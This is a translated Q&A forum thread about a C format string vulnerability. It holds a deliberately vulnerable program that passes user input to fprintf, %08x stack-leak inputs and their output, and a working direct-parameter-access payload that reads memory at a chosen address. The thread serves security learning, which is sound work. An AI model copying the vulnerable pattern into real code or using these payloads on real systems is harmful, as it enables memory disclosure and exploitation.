[英]Direct Parameter Access not working, using printf in C
我正在做一些计算机安全性研究,并且试图了解有关字符串格式的漏洞。 我正在运行一个包含以下代码的程序:
char buf[1<<5];
strncpy(buf, data, sizeof(buf));
buf[sizeof(buf)-1]='\0';
fprintf(stderr, buf);
当我向程序输入参数“%08x。%08x。%08x。%08x。%08x”(将其读入“数据”变量)时,我得到的输出是:00000020.b7fd7560.08048b09.00000019.78383025
我知道每个十六进制数字都会从堆栈中弹出,并且“ 78383025”来自缓冲区本身。 所以有4个字--16个字节-在到达缓冲区的开头之前,我必须弹出。
当我给参数`perl -e 'print "\\x2a\\xf9\\xff\\xbf%08x.%08x.%08x.%08x_%s_";'`
,%s部分将打印位于内存地址0xbffff92a的字符串。
现在,我想使用直接参数访问来执行此操作。 如果我在程序中输入参数`perl -e 'print "\\x2a\\xf9\\xff\\xbf%16$s";'`
,我应该期望程序执行与上述相同的操作。 但是所有程序打印的内容都是缓冲区开头的四个字符。 那么,什么给了??? 我是否为DPA使用了错误的语法??? 我正在使用32位的Ubuntu 9.04。
这是一些可编译的代码,尽管不能保证产生相同的结果:
#include <stdio.h>
void run(const char* data) {
char buf[1<<5];
strncpy(buf, data, sizeof(buf));
buf[sizeof(buf) - 1] = '\0';
fprintf(stderr, buf);
}
int main(int argc, char* argv[]) {
run(argv[1]);
return 0;
}
%16$s
引用格式字符串后的第16个参数,并告诉printf
将其解释为char*
并将其显示为字符串。
您似乎正在使用它作为在获取字符串之前跳过16个字节的方法,但这并不完全相同。
由于您需要第5个参数,因此请尝试使用类似以下格式的字符串:
"\x2a\xf9\xff\xbf%5$s"
由于您正在使用perl -e 'print "...";'
要传递数据,您必须转义$
字符。 IE浏览器。 :
./a.out `perl -e 'print "\x2a\xf9\xff\xbf%5\\\$s";'`
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.